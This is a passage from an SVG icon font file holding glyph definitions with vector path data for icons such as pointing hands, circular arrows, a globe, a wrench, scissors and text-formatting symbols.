d="M256 192q0 26 -19 45t-45 19t-45 -19t-19 -45t19 -45t45 -19t45 19t19 45zM1664 768q0 51 -39 89.5t-89 38.5h-576q0 20 15 48.5t33 55t33 68t15 84.5q0 67 -44.5 97.5t-115.5 30.5q-24 0 -90 -139q-24 -44 -37 -65q-40 -64 -112 -145q-71 -81 -101 -106
q-69 -57 -140 -57h-32v-640h32q72 0 167 -32t193.5 -64t179.5 -32q189 0 189 167q0 26 -5 56q30 16 47.5 52.5t17.5 73.5t-18 69q53 50 53 119q0 25 -10 55.5t-25 47.5h331q52 0 90 38t38 90zM1792 769q0 -105 -75.5 -181t-180.5 -76h-169q-4 -62 -37 -119q3 -21 3 -43
q0 -101 -60 -178q1 -139 -85 -219.5t-227 -80.5q-133 0 -322 69q-164 59 -223 59h-288q-53 0 -90.5 37.5t-37.5 90.5v640q0 53 37.5 90.5t90.5 37.5h288q10 0 21.5 4.5t23.5 14t22.5 18t24 22.5t20.5 21.5t19 21.5t14 17q65 74 100 129q13 21 33 62t37 72t40.5 63t55 49.5
t69.5 17.5q125 0 206.5 -67t81.5 -189q0 -68 -22 -128h374q104 0 180 -76t76 -179z" />
    <glyph glyph-name="hand_left" unicode="&#xf0a5;" horiz-adv-x="1792" 
d="M1376 128h32v640h-32q-35 0 -67.5 12t-62.5 37t-50 46t-49 54q-8 9 -12 14q-72 81 -112 145q-14 22 -38 68q-1 3 -10.5 22.5t-18.5 36t-20 35.5t-21.5 30.5t-18.5 11.5q-71 0 -115.5 -30.5t-44.5 -97.5q0 -43 15 -84.5t33 -68t33 -55t15 -48.5h-576q-50 0 -89 -38.5
t-39 -89.5q0 -52 38 -90t90 -38h331q-15 -17 -25 -47.5t-10 -55.5q0 -69 53 -119q-18 -32 -18 -69t17.5 -73.5t47.5 -52.5q-4 -24 -4 -56q0 -85 48.5 -126t135.5 -41q84 0 183 32t194 64t167 32zM1664 192q0 26 -19 45t-45 19t-45 -19t-19 -45t19 -45t45 -19t45 19t19 45z
M1792 768v-640q0 -53 -37.5 -90.5t-90.5 -37.5h-288q-59 0 -223 -59q-190 -69 -317 -69q-142 0 -230 77.5t-87 217.5l1 5q-61 76 -61 178q0 22 3 43q-33 57 -37 119h-169q-105 0 -180.5 76t-75.5 181q0 103 76 179t180 76h374q-22 60 -22 128q0 122 81.5 189t206.5 67
q38 0 69.5 -17.5t55 -49.5t40.5 -63t37 -72t33 -62q35 -55 100 -129q2 -3 14 -17t19 -21.5t20.5 -21.5t24 -22.5t22.5 -18t23.5 -14t21.5 -4.5h288q53 0 90.5 -37.5t37.5 -90.5z" />
    <glyph glyph-name="hand_up" unicode="&#xf0a6;" 
d="M1280 -64q0 26 -19 45t-45 19t-45 -19t-19 -45t19 -45t45 -19t45 19t19 45zM1408 700q0 189 -167 189q-26 0 -56 -5q-16 30 -52.5 47.5t-73.5 17.5t-69 -18q-50 53 -119 53q-25 0 -55.5 -10t-47.5 -25v331q0 52 -38 90t-90 38q-51 0 -89.5 -39t-38.5 -89v-576
q-20 0 -48.5 15t-55 33t-68 33t-84.5 15q-67 0 -97.5 -44.5t-30.5 -115.5q0 -24 139 -90q44 -24 65 -37q64 -40 145 -112q81 -71 106 -101q57 -69 57 -140v-32h640v32q0 72 32 167t64 193.5t32 179.5zM1536 705q0 -133 -69 -322q-59 -164 -59 -223v-288q0 -53 -37.5 -90.5
t-90.5 -37.5h-640q-53 0 -90.5 37.5t-37.5 90.5v288q0 10 -4.5 21.5t-14 23.5t-18 22.5t-22.5 24t-21.5 20.5t-21.5 19t-17 14q-74 65 -129 100q-21 13 -62 33t-72 37t-63 40.5t-49.5 55t-17.5 69.5q0 125 67 206.5t189 81.5q68 0 128 -22v374q0 104 76 180t179 76
q105 0 181 -75.5t76 -180.5v-169q62 -4 119 -37q21 3 43 3q101 0 178 -60q139 1 219.5 -85t80.5 -227z" />
    <glyph glyph-name="hand_down" unicode="&#xf0a7;" 
d="M1408 576q0 84 -32 183t-64 194t-32 167v32h-640v-32q0 -35 -12 -67.5t-37 -62.5t-46 -50t-54 -49q-9 -8 -14 -12q-81 -72 -145 -112q-22 -14 -68 -38q-3 -1 -22.5 -10.5t-36 -18.5t-35.5 -20t-30.5 -21.5t-11.5 -18.5q0 -71 30.5 -115.5t97.5 -44.5q43 0 84.5 15t68 33
t55 33t48.5 15v-576q0 -50 38.5 -89t89.5 -39q52 0 90 38t38 90v331q46 -35 103 -35q69 0 119 53q32 -18 69 -18t73.5 17.5t52.5 47.5q24 -4 56 -4q85 0 126 48.5t41 135.5zM1280 1344q0 26 -19 45t-45 19t-45 -19t-19 -45t19 -45t45 -19t45 19t19 45zM1536 580
q0 -142 -77.5 -230t-217.5 -87l-5 1q-76 -61 -178 -61q-22 0 -43 3q-54 -30 -119 -37v-169q0 -105 -76 -180.5t-181 -75.5q-103 0 -179 76t-76 180v374q-54 -22 -128 -22q-121 0 -188.5 81.5t-67.5 206.5q0 38 17.5 69.5t49.5 55t63 40.5t72 37t62 33q55 35 129 100
q3 2 17 14t21.5 19t21.5 20.5t22.5 24t18 22.5t14 23.5t4.5 21.5v288q0 53 37.5 90.5t90.5 37.5h640q53 0 90.5 -37.5t37.5 -90.5v-288q0 -59 59 -223q69 -190 69 -317z" />
    <glyph glyph-name="circle_arrow_left" unicode="&#xf0a8;" 
d="M1280 576v128q0 26 -19 45t-45 19h-502l189 189q19 19 19 45t-19 45l-91 91q-18 18 -45 18t-45 -18l-362 -362l-91 -91q-18 -18 -18 -45t18 -45l91 -91l362 -362q18 -18 45 -18t45 18l91 91q18 18 18 45t-18 45l-189 189h502q26 0 45 19t19 45zM1536 640
q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="circle_arrow_right" unicode="&#xf0a9;" 
d="M1285 640q0 27 -18 45l-91 91l-362 362q-18 18 -45 18t-45 -18l-91 -91q-18 -18 -18 -45t18 -45l189 -189h-502q-26 0 -45 -19t-19 -45v-128q0 -26 19 -45t45 -19h502l-189 -189q-19 -19 -19 -45t19 -45l91 -91q18 -18 45 -18t45 18l362 362l91 91q18 18 18 45zM1536 640
q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="circle_arrow_up" unicode="&#xf0aa;" 
d="M1284 641q0 27 -18 45l-362 362l-91 91q-18 18 -45 18t-45 -18l-91 -91l-362 -362q-18 -18 -18 -45t18 -45l91 -91q18 -18 45 -18t45 18l189 189v-502q0 -26 19 -45t45 -19h128q26 0 45 19t19 45v502l189 -189q19 -19 45 -19t45 19l91 91q18 18 18 45zM1536 640
q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="circle_arrow_down" unicode="&#xf0ab;" 
d="M1284 639q0 27 -18 45l-91 91q-18 18 -45 18t-45 -18l-189 -189v502q0 26 -19 45t-45 19h-128q-26 0 -45 -19t-19 -45v-502l-189 189q-19 19 -45 19t-45 -19l-91 -91q-18 -18 -18 -45t18 -45l362 -362l91 -91q18 -18 45 -18t45 18l91 91l362 362q18 18 18 45zM1536 640
q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="globe" unicode="&#xf0ac;" 
d="M768 1408q209 0 385.5 -103t279.5 -279.5t103 -385.5t-103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103zM1042 887q-2 -1 -9.5 -9.5t-13.5 -9.5q2 0 4.5 5t5 11t3.5 7q6 7 22 15q14 6 52 12q34 8 51 -11
q-2 2 9.5 13t14.5 12q3 2 15 4.5t15 7.5l2 22q-12 -1 -17.5 7t-6.5 21q0 -2 -6 -8q0 7 -4.5 8t-11.5 -1t-9 -1q-10 3 -15 7.5t-8 16.5t-4 15q-2 5 -9.5 11t-9.5 10q-1 2 -2.5 5.5t-3 6.5t-4 5.5t-5.5 2.5t-7 -5t-7.5 -10t-4.5 -5q-3 2 -6 1.5t-4.5 -1t-4.5 -3t-5 -3.5
q-3 -2 -8.5 -3t-8.5 -2q15 5 -1 11q-10 4 -16 3q9 4 7.5 12t-8.5 14h5q-1 4 -8.5 8.5t-17.5 8.5t-13 6q-8 5 -34 9.5t-33 0.5q-5 -6 -4.5 -10.5t4 -14t3.5 -12.5q1 -6 -5.5 -13t-6.5 -12q0 -7 14 -15.5t10 -21.5q-3 -8 -16 -16t-16 -12q-5 -8 -1.5 -18.5t10.5 -16.5
q2 -2 1.5 -4t-3.5 -4.5t-5.5 -4t-6.5 -3.5l-3 -2q-11 -5 -20.5 6t-13.5 26q-7 25 -16 30q-23 8 -29 -1q-5 13 -41 26q-25 9 -58 4q6 1 0 15q-7 15 -19 12q3 6 4 17.5t1 13.5q3 13 12 23q1 1 7 8.5t9.5 13.5t0.5 6q35 -4 50 11q5 5 11.5 17t10.5 17q9 6 14 5.5t14.5 -5.5
t14.5 -5q14 -1 15.5 11t-7.5 20q12 -1 3 17q-4 7 -8 9q-12 4 -27 -5q-8 -4 2 -8q-1 1 -9.5 -10.5t-16.5 -17.5t-16 5q-1 1 -5.5 13.5t-9.5 13.5q-8 0 -16 -15q3 8 -11 15t-24 8q19 12 -8 27q-7 4 -20.5 5t-19.5 -4q-5 -7 -5.5 -11.5t5 -8t10.5 -5.5t11.5 -4t8.5 -3
q14 -10 8 -14q-2 -1 -8.5 -3.5t-11.5 -4.5t-6 -4q-3 -4 0 -14t-2 -14q-5 5 -9 17.5t-7 16.5q7 -9 -25 -6l-10 1q-4 0 -16 -2t-20.5 -1t-13.5 8q-4 8 0 20q1 4 4 2q-4 3 -11 9.5t-10 8.5q-46 -15 -94 -41q6 -1 12 1q5 2 13 6.5t10 5.5q34 14 42 7l5 5q14 -16 20 -25
q-7 4 -30 1q-20 -6 -22 -12q7 -12 5 -18q-4 3 -11.5 10t-14.5 11t-15 5q-16 0 -22 -1q-146 -80 -235 -222q7 -7 12 -8q4 -1 5 -9t2.5 -11t11.5 3q9 -8 3 -19q1 1 44 -27q19 -17 21 -21q3 -11 -10 -18q-1 2 -9 9t-9 4q-3 -5 0.5 -18.5t10.5 -12.5q-7 0 -9.5 -16t-2.5 -35.5
t-1 -23.5l2 -1q-3 -12 5.5 -34.5t21.5 -19.5q-13 -3 20 -43q6 -8 8 -9q3 -2 12 -7.5t15 -10t10 -10.5q4 -5 10 -22.5t14 -23.5q-2 -6 9.5 -20t10.5 -23q-1 0 -2.5 -1t-2.5 -1q3 -7 15.5 -14t15.5 -13q1 -3 2 -10t3 -11t8 -2q2 20 -24 62q-15 25 -17 29q-3 5 -5.5 15.5
t-4.5 14.5q2 0 6 -1.5t8.5 -3.5t7.5 -4t2 -3q-3 -7 2 -17.5t12 -18.5t17 -19t12 -13q6 -6 14 -19.5t0 -13.5q9 0 20 -10.5t17 -19.5q5 -8 8 -26t5 -24q2 -7 8.5 -13.5t12.5 -9.5l16 -8t13 -7q5 -2 18.5 -10.5t21.5 -11.5q10 -4 16 -4t14.5 2.5t13.5 3.5q15 2 29 -15t21 -21
q36 -19 55 -11q-2 -1 0.5 -7.5t8 -15.5t9 -14.5t5.5 -8.5q5 -6 18 -15t18 -15q6 4 7 9q-3 -8 7 -20t18 -10q14 3 14 32q-31 -15 -49 18q0 1 -2.5 5.5t-4 8.5t-2.5 8.5t0 7.5t5 3q9 0 10 3.5t-2 12.5t-4 13q-1 8 -11 20t-12 15q-5 -9 -16 -8t-16 9q0 -1 -1.5 -5.5t-1.5 -6.5
q-13 0 -15 1q1 3 2.5 17.5t3.5 22.5q1 4 5.5 12t7.5 14.5t4 12.5t-4.5 9.5t-17.5 2.5q-19 -1 -26 -20q-1 -3 -3 -10.5t-5 -11.5t-9 -7q-7 -3 -24 -2t-24 5q-13 8 -22.5 29t-9.5 37q0 10 2.5 26.5t3 25t-5.5 24.5q3 2 9 9.5t10 10.5q2 1 4.5 1.5t4.5 0t4 1.5t3 6q-1 1 -4 3
q-3 3 -4 3q7 -3 28.5 1.5t27.5 -1.5q15 -11 22 2q0 1 -2.5 9.5t-0.5 13.5q5 -27 29 -9q3 -3 15.5 -5t17.5 -5q3 -2 7 -5.5t5.5 -4.5t5 0.5t8.5 6.5q10 -14 12 -24q11 -40 19 -44q7 -3 11 -2t4.5 9.5t0 14t-1.5 12.5l-1 8v18l-1 8q-15 3 -18.5 12t1.5 18.5t15 18.5q1 1 8 3.5
t15.5 6.5t12.5 8q21 19 15 35q7 0 11 9q-1 0 -5 3t-7.5 5t-4.5 2q9 5 2 16q5 3 7.5 11t7.5 10q9 -12 21 -2q8 8 1 16q5 7 20.5 10.5t18.5 9.5q7 -2 8 2t1 12t3 12q4 5 15 9t13 5l17 11q3 4 0 4q18 -2 31 11q10 11 -6 20q3 6 -3 9.5t-15 5.5q3 1 11.5 0.5t10.5 1.5
q15 10 -7 16q-17 5 -43 -12zM879 10q206 36 351 189q-3 3 -12.5 4.5t-12.5 3.5q-18 7 -24 8q1 7 -2.5 13t-8 9t-12.5 8t-11 7q-2 2 -7 6t-7 5.5t-7.5 4.5t-8.5 2t-10 -1l-3 -1q-3 -1 -5.5 -2.5t-5.5 -3t-4 -3t0 -2.5q-21 17 -36 22q-5 1 -11 5.5t-10.5 7t-10 1.5t-11.5 -7
q-5 -5 -6 -15t-2 -13q-7 5 0 17.5t2 18.5q-3 6 -10.5 4.5t-12 -4.5t-11.5 -8.5t-9 -6.5t-8.5 -5.5t-8.5 -7.5q-3 -4 -6 -12t-5 -11q-2 4 -11.5 6.5t-9.5 5.5q2 -10 4 -35t5 -38q7 -31 -12 -48q-27 -25 -29 -40q-4 -22 12 -26q0 -7 -8 -20.5t-7 -21.5q0 -6 2 -16z" />
    <glyph glyph-name="wrench" unicode="&#xf0ad;" horiz-adv-x="1664" 
d="M384 64q0 26 -19 45t-45 19t-45 -19t-19 -45t19 -45t45 -19t45 19t19 45zM1028 484l-682 -682q-37 -37 -90 -37q-52 0 -91 37l-106 108q-38 36 -38 90q0 53 38 91l681 681q39 -98 114.5 -173.5t173.5 -114.5zM1662 919q0 -39 -23 -106q-47 -134 -164.5 -217.5
t-258.5 -83.5q-185 0 -316.5 131.5t-131.5 316.5t131.5 316.5t316.5 131.5q58 0 121.5 -16.5t107.5 -46.5q16 -11 16 -28t-16 -28l-293 -169v-224l193 -107q5 3 79 48.5t135.5 81t70.5 35.5q15 0 23.5 -10t8.5 -25z" />
    <glyph glyph-name="tasks" unicode="&#xf0ae;" horiz-adv-x="1792" 
d="M1024 128h640v128h-640v-128zM640 640h1024v128h-1024v-128zM1280 1152h384v128h-384v-128zM1792 320v-256q0 -26 -19 -45t-45 -19h-1664q-26 0 -45 19t-19 45v256q0 26 19 45t45 19h1664q26 0 45 -19t19 -45zM1792 832v-256q0 -26 -19 -45t-45 -19h-1664q-26 0 -45 19
t-19 45v256q0 26 19 45t45 19h1664q26 0 45 -19t19 -45zM1792 1344v-256q0 -26 -19 -45t-45 -19h-1664q-26 0 -45 19t-19 45v256q0 26 19 45t45 19h1664q26 0 45 -19t19 -45z" />
    <glyph glyph-name="filter" unicode="&#xf0b0;" horiz-adv-x="1408" 
d="M1403 1241q17 -41 -14 -70l-493 -493v-742q0 -42 -39 -59q-13 -5 -25 -5q-27 0 -45 19l-256 256q-19 19 -19 45v486l-493 493q-31 29 -14 70q17 39 59 39h1280q42 0 59 -39z" />
    <glyph glyph-name="briefcase" unicode="&#xf0b1;" horiz-adv-x="1792" 
d="M640 1280h512v128h-512v-128zM1792 640v-480q0 -66 -47 -113t-113 -47h-1472q-66 0 -113 47t-47 113v480h672v-160q0 -26 19 -45t45 -19h320q26 0 45 19t19 45v160h672zM1024 640v-128h-256v128h256zM1792 1120v-384h-1792v384q0 66 47 113t113 47h352v160q0 40 28 68
t68 28h576q40 0 68 -28t28 -68v-160h352q66 0 113 -47t47 -113z" />
    <glyph glyph-name="fullscreen" unicode="&#xf0b2;" 
d="M1283 995l-355 -355l355 -355l144 144q29 31 70 14q39 -17 39 -59v-448q0 -26 -19 -45t-45 -19h-448q-42 0 -59 40q-17 39 14 69l144 144l-355 355l-355 -355l144 -144q31 -30 14 -69q-17 -40 -59 -40h-448q-26 0 -45 19t-19 45v448q0 42 40 59q39 17 69 -14l144 -144
l355 355l-355 355l-144 -144q-19 -19 -45 -19q-12 0 -24 5q-40 17 -40 59v448q0 26 19 45t45 19h448q42 0 59 -40q17 -39 -14 -69l-144 -144l355 -355l355 355l-144 144q-31 30 -14 69q17 40 59 40h448q26 0 45 -19t19 -45v-448q0 -42 -39 -59q-13 -5 -25 -5q-26 0 -45 19z
" />
    <glyph glyph-name="group" unicode="&#xf0c0;" horiz-adv-x="1920" 
d="M593 640q-162 -5 -265 -128h-134q-82 0 -138 40.5t-56 118.5q0 353 124 353q6 0 43.5 -21t97.5 -42.5t119 -21.5q67 0 133 23q-5 -37 -5 -66q0 -139 81 -256zM1664 3q0 -120 -73 -189.5t-194 -69.5h-874q-121 0 -194 69.5t-73 189.5q0 53 3.5 103.5t14 109t26.5 108.5
t43 97.5t62 81t85.5 53.5t111.5 20q10 0 43 -21.5t73 -48t107 -48t135 -21.5t135 21.5t107 48t73 48t43 21.5q61 0 111.5 -20t85.5 -53.5t62 -81t43 -97.5t26.5 -108.5t14 -109t3.5 -103.5zM640 1280q0 -106 -75 -181t-181 -75t-181 75t-75 181t75 181t181 75t181 -75
t75 -181zM1344 896q0 -159 -112.5 -271.5t-271.5 -112.5t-271.5 112.5t-112.5 271.5t112.5 271.5t271.5 112.5t271.5 -112.5t112.5 -271.5zM1920 671q0 -78 -56 -118.5t-138 -40.5h-134q-103 123 -265 128q81 117 81 256q0 29 -5 66q66 -23 133 -23q59 0 119 21.5t97.5 42.5
t43.5 21q124 0 124 -353zM1792 1280q0 -106 -75 -181t-181 -75t-181 75t-75 181t75 181t181 75t181 -75t75 -181z" />
    <glyph glyph-name="link" unicode="&#xf0c1;" horiz-adv-x="1664" 
d="M1456 320q0 40 -28 68l-208 208q-28 28 -68 28q-42 0 -72 -32q3 -3 19 -18.5t21.5 -21.5t15 -19t13 -25.5t3.5 -27.5q0 -40 -28 -68t-68 -28q-15 0 -27.5 3.5t-25.5 13t-19 15t-21.5 21.5t-18.5 19q-33 -31 -33 -73q0 -40 28 -68l206 -207q27 -27 68 -27q40 0 68 26
l147 146q28 28 28 67zM753 1025q0 40 -28 68l-206 207q-28 28 -68 28q-39 0 -68 -27l-147 -146q-28 -28 -28 -67q0 -40 28 -68l208 -208q27 -27 68 -27q42 0 72 31q-3 3 -19 18.5t-21.5 21.5t-15 19t-13 25.5t-3.5 27.5q0 40 28 68t68 28q15 0 27.5 -3.5t25.5 -13t19 -15
t21.5 -21.5t18.5 -19q33 31 33 73zM1648 320q0 -120 -85 -203l-147 -146q-83 -83 -203 -83q-121 0 -204 85l-206 207q-83 83 -83 203q0 123 88 209l-88 88q-86 -88 -208 -88q-120 0 -204 84l-208 208q-84 84 -84 204t85 203l147 146q83 83 203 83q121 0 204 -85l206 -207
q83 -83 83 -203q0 -123 -88 -209l88 -88q86 88 208 88q120 0 204 -84l208 -208q84 -84 84 -204z" />
    <glyph glyph-name="cloud" unicode="&#xf0c2;" horiz-adv-x="1920" 
d="M1920 384q0 -159 -112.5 -271.5t-271.5 -112.5h-1088q-185 0 -316.5 131.5t-131.5 316.5q0 132 71 241.5t187 163.5q-2 28 -2 43q0 212 150 362t362 150q158 0 286.5 -88t187.5 -230q70 62 166 62q106 0 181 -75t75 -181q0 -75 -41 -138q129 -30 213 -134.5t84 -239.5z
" />
    <glyph glyph-name="beaker" unicode="&#xf0c3;" horiz-adv-x="1664" 
d="M1527 88q56 -89 21.5 -152.5t-140.5 -63.5h-1152q-106 0 -140.5 63.5t21.5 152.5l503 793v399h-64q-26 0 -45 19t-19 45t19 45t45 19h512q26 0 45 -19t19 -45t-19 -45t-45 -19h-64v-399zM748 813l-272 -429h712l-272 429l-20 31v37v399h-128v-399v-37z" />
    <glyph glyph-name="cut" unicode="&#xf0c4;" horiz-adv-x="1792" 
d="M960 640q26 0 45 -19t19 -45t-19 -45t-45 -19t-45 19t-19 45t19 45t45 19zM1260 576l507 -398q28 -20 25 -56q-5 -35 -35 -51l-128 -64q-13 -7 -29 -7q-17 0 -31 8l-690 387l-110 -66q-8 -4 -12 -5q14 -49 10 -97q-7 -77 -56 -147.5t-132 -123.5q-132 -84 -277 -84
q-136 0 -222 78q-90 84 -79 207q7 76 56 147t131 124q132 84 278 84q83 0 151 -31q9 13 22 22l122 73l-122 73q-13 9 -22 22q-68 -31 -151 -31q-146 0 -278 84q-82 53 -131 124t-56 147q-5 59 15.5 113t63.5 93q85 79 222 79q145 0 277 -84q83 -52 132 -123t56 -148
q4 -48 -10 -97q4 -1 12 -5l110 -66l690 387q14 8 31 8q16 0 29 -7l128 -64q30 -16 35 -51q3 -36 -25 -56zM579 836q46 42 21 108t-106 117q-92 59 -192 59q-74 0 -113 -36q-46 -42 -21 -108t106 -117q92 -59 192 -59q74 0 113 36zM494 91q81 51 106 117t-21 108
q-39 36 -113 36q-100 0 -192 -59q-81 -51 -106 -117t21 -108q39 -36 113 -36q100 0 192 59zM672 704l96 -58v11q0 36 33 56l14 8l-79 47l-26 -26q-3 -3 -10 -11t-12 -12q-2 -2 -4 -3.5t-3 -2.5zM896 480l96 -32l736 576l-128 64l-768 -431v-113l-160 -96l9 -8q2 -2 7 -6
q4 -4 11 -12t11 -12l26 -26zM1600 64l128 64l-520 408l-177 -138q-2 -3 -13 -7z" />
    <glyph glyph-name="copy" unicode="&#xf0c5;" horiz-adv-x="1792" 
d="M1696 1152q40 0 68 -28t28 -68v-1216q0 -40 -28 -68t-68 -28h-960q-40 0 -68 28t-28 68v288h-544q-40 0 -68 28t-28 68v672q0 40 20 88t48 76l408 408q28 28 76 48t88 20h416q40 0 68 -28t28 -68v-328q68 40 128 40h416zM1152 939l-299 -299h299v299zM512 1323l-299 -299
h299v299zM708 676l316 316v416h-384v-416q0 -40 -28 -68t-68 -28h-416v-640h512v256q0 40 20 88t48 76zM1664 -128v1152h-384v-416q0 -40 -28 -68t-68 -28h-416v-640h896z" />
    <glyph glyph-name="paper_clip" unicode="&#xf0c6;" horiz-adv-x="1408" 
d="M1404 151q0 -117 -79 -196t-196 -79q-135 0 -235 100l-777 776q-113 115 -113 271q0 159 110 270t269 111q158 0 273 -113l605 -606q10 -10 10 -22q0 -16 -30.5 -46.5t-46.5 -30.5q-13 0 -23 10l-606 607q-79 77 -181 77q-106 0 -179 -75t-73 -181q0 -105 76 -181
l776 -777q63 -63 145 -63q64 0 106 42t42 106q0 82 -63 145l-581 581q-26 24 -60 24q-29 0 -48 -19t-19 -48q0 -32 25 -59l410 -410q10 -10 10 -22q0 -16 -31 -47t-47 -31q-12 0 -22 10l-410 410q-63 61 -63 149q0 82 57 139t139 57q88 0 149 -63l581 -581q100 -98 100 -235
z" />
    <glyph glyph-name="save" unicode="&#xf0c7;" 
d="M384 0h768v384h-768v-384zM1280 0h128v896q0 14 -10 38.5t-20 34.5l-281 281q-10 10 -34 20t-39 10v-416q0 -40 -28 -68t-68 -28h-576q-40 0 -68 28t-28 68v416h-128v-1280h128v416q0 40 28 68t68 28h832q40 0 68 -28t28 -68v-416zM896 928v320q0 13 -9.5 22.5t-22.5 9.5
h-192q-13 0 -22.5 -9.5t-9.5 -22.5v-320q0 -13 9.5 -22.5t22.5 -9.5h192q13 0 22.5 9.5t9.5 22.5zM1536 896v-928q0 -40 -28 -68t-68 -28h-1344q-40 0 -68 28t-28 68v1344q0 40 28 68t68 28h928q40 0 88 -20t76 -48l280 -280q28 -28 48 -76t20 -88z" />
    <glyph glyph-name="sign_blank" unicode="&#xf0c8;" 
d="M1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="reorder" unicode="&#xf0c9;" 
d="M1536 192v-128q0 -26 -19 -45t-45 -19h-1408q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h1408q26 0 45 -19t19 -45zM1536 704v-128q0 -26 -19 -45t-45 -19h-1408q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h1408q26 0 45 -19t19 -45zM1536 1216v-128q0 -26 -19 -45
t-45 -19h-1408q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h1408q26 0 45 -19t19 -45z" />
    <glyph glyph-name="ul" unicode="&#xf0ca;" horiz-adv-x="1792" 
d="M384 128q0 -80 -56 -136t-136 -56t-136 56t-56 136t56 136t136 56t136 -56t56 -136zM384 640q0 -80 -56 -136t-136 -56t-136 56t-56 136t56 136t136 56t136 -56t56 -136zM1792 224v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-1216q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5
t22.5 9.5h1216q13 0 22.5 -9.5t9.5 -22.5zM384 1152q0 -80 -56 -136t-136 -56t-136 56t-56 136t56 136t136 56t136 -56t56 -136zM1792 736v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-1216q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h1216q13 0 22.5 -9.5t9.5 -22.5z
M1792 1248v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-1216q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h1216q13 0 22.5 -9.5t9.5 -22.5z" />
    <glyph glyph-name="ol" unicode="&#xf0cb;" horiz-adv-x="1792" 
d="M381 -84q0 -80 -54.5 -126t-135.5 -46q-106 0 -172 66l57 88q49 -45 106 -45q29 0 50.5 14.5t21.5 42.5q0 64 -105 56l-26 56q8 10 32.5 43.5t42.5 54t37 38.5v1q-16 0 -48.5 -1t-48.5 -1v-53h-106v152h333v-88l-95 -115q51 -12 81 -49t30 -88zM383 543v-159h-362
q-6 36 -6 54q0 51 23.5 93t56.5 68t66 47.5t56.5 43.5t23.5 45q0 25 -14.5 38.5t-39.5 13.5q-46 0 -81 -58l-85 59q24 51 71.5 79.5t105.5 28.5q73 0 123 -41.5t50 -112.5q0 -50 -34 -91.5t-75 -64.5t-75.5 -50.5t-35.5 -52.5h127v60h105zM1792 224v-192q0 -13 -9.5 -22.5
t-22.5 -9.5h-1216q-13 0 -22.5 9.5t-9.5 22.5v192q0 14 9 23t23 9h1216q13 0 22.5 -9.5t9.5 -22.5zM384 1123v-99h-335v99h107q0 41 0.5 121.5t0.5 121.5v12h-2q-8 -17 -50 -54l-71 76l136 127h106v-404h108zM1792 736v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-1216
q-13 0 -22.5 9.5t-9.5 22.5v192q0 14 9 23t23 9h1216q13 0 22.5 -9.5t9.5 -22.5zM1792 1248v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-1216q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h1216q13 0 22.5 -9.5t9.5 -22.5z" />
    <glyph glyph-name="strikethrough" unicode="&#xf0cc;" horiz-adv-x="1792" 
d="M1760 640q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-1728q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h1728zM483 704q-28 35 -51 80q-48 98 -48 188q0 181 134 309q133 127 393 127q50 0 167 -19q66 -12 177 -48q10 -38 21 -118q14 -123 14 -183q0 -18 -5 -45l-12 -3l-84 6
l-14 2q-50 149 -103 205q-88 91 -210 91q-114 0 -182 -59q-67 -58 -67 -146q0 -73 66 -140t279 -129q69 -20 173 -66q58 -28 95 -52h-743zM990 448h411q7 -39 7 -92q0 -111 -41 -212q-23 -56 -71 -104q-37 -35 -109 -81q-80 -48 -153 -66q-80 -21 -203 -21q-114 0 -195 23
l-140 40q-57 16 -72 28q-8 8 -8 22v13q0 108 -2 156q-1 30 0 68l2 37v44l102 2q15 -34 30 -71t22.5 -56t12.5 -27q35 -57 80 -94q43 -36 105 -57q59 -22 132 -22q64 0 139 27q77 26 122 86q47 61 47 129q0 84 -81 157q-34 29 -137 71z" />
    <glyph glyph-name="underline" unicode="&#xf0cd;" 
d="M48 1313q-37 2 -45 4l-3 88q13 1 40 1q60 0 112 -4q132 -7 166 -7q86 0 168 3q116 4 146 5q56 0 86 2l-1 -14l2 -64v-9q-60 -9 -124 -9q-60 0 -79 -25q-13 -14 -13 -132q0 -13 0.5 -32.5t0.5 -25.5l1 -229l14 -280q6 -124 51 -202q35 -59 96 -92q88 -47 177 -47
q104 0 191 28q56 18 99 51q48 36 65 64q36 56 53 114q21 73 21 229q0 79 -3.5 128t-11 122.5t-13.5 159.5l-4 59q-5 67 -24 88q-34 35 -77 34l-100 -2l-14 3l2 86h84l205 -10q76 -3 196 10l18 -2q6 -38 6 -51q0 -7 -4 -31q-45 -12 -84 -13q-73 -11 -79 -17q-15 -15 -15 -41
